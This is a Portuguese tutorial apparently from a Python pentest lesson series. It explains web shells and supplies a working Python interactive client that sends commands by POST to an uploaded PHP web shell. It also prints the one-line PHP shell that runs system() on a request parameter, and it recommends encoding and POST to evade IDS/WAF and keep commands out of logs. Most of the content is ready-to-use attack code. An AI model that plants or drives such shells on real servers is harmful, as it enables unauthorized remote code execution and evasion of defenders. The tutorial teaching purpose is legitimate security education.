Um terminal remoto simples que se comunica com um script PHP no servidor.

Contexto

Um Web Shell é um script (geralmente em PHP, ASP ou JSP) que um atacante instala em um servidor web para permitir a execução remota de comandos do sistema. No entanto, interagir com esse shell diretamente pela barra de endereços do navegador é ineficiente e deixa rastros óbvios nos históricos.

O objetivo deste cliente em Python é:

  • Interface de Terminal: Proporcionar uma experiência de terminal real no computador do Pentester.
  • Ofuscação: Automatizar a codificação dos comandos (Base64 ou URL Encode) para tentar evadir sistemas de detecção de intrusão (IDS/WAF).
  • Persistência: Facilitar a execução de múltiplos comandos em sequência sem precisar recarregar páginas manualmente.

Possibilidades de Implementação

  • Comunicação via GET/POST: O cliente envia o comando como um parâmetro de requisição. O POST é preferível por não deixar o comando visível na URL nos logs do servidor.
  • Shell Interativo: Um loop while que aguarda a entrada do usuário e exibe o STDOUT do servidor.
  • Fake TTY: Adicionar prefixos de comandos para simular um ambiente de terminal mais estável (como cd persistente ou exportação de variáveis de ambiente).

Código

Este módulo assume que você já possui um shell simples no servidor (ex: <?php system($_POST['cmd']); ?>). O script Python funcionará como o controle remoto desse arquivo.

Requisito: pip install requests

import requests
import sys

def web_shell_client(target_url, password_param):
    """
    Interface de terminal para interagir com um Web Shell PHP remoto.
    """
    print(f"[*] Conectando ao Web Shell em: {target_url}")
    print("[*] Digite 'exit' ou 'quit' para encerrar a sessão.\n")

    # Loop de interação (REPL)
    while True:
        try:
            # Captura o comando do usuário
            cmd = input("web_shell@remote_host:~# ")

            if cmd.lower() in ["exit", "quit"]:
                print("[*] Encerrando sessão...")
                break

            if not cmd.strip():
                continue

            # Prepara os dados do POST (comando enviado como parâmetro)
            data = {password_param: cmd}

            # Envia a requisição para o servidor
            response = requests.post(target_url, data=data, timeout=10)

            # Exibe o resultado da execução no servidor
            if response.status_code == 200:
                print(response.text.strip())
            else:
                print(f"[!] Erro no servidor: Status {response.status_code}")

        except KeyboardInterrupt:
            print("\n[*] Saindo...")
            break
        except Exception as e:
            print(f"[!] Erro de conexão: {e}")

def main():
    print("=" * 60)
    print("Módulo: Web Shell Client | Projeto: 30 Lessons in Python")
    print("=" * 60)

    # Configurações do alvo
    # Exemplo: URL onde o arquivo .php foi "upado"
    target = "http://127.0.0.1/uploads/shell.php" 
    param_name = "cmd" # O nome da variável no script PHP

    web_shell_client(target, param_name)

if __name__ == "__main__":
    main()

Observações

  • O Script no Servidor: Para este cliente funcionar, o arquivo no servidor alvo deve ser algo simples como:PHP
<?php if(isset($_POST['cmd'])){ system($_POST['cmd']); } ?>
  • Limitações: Comandos interativos que esperam uma resposta do usuário (como sudo pedindo senha ou editores de texto como vim) não funcionam bem via Web Shell padrão.
  • Segurança: Explique que o uso de Web Shells é uma das provas mais claras de RCE (Remote Code Execution), permitindo ao atacante escalar privilégios ou mover-se lateralmente na rede.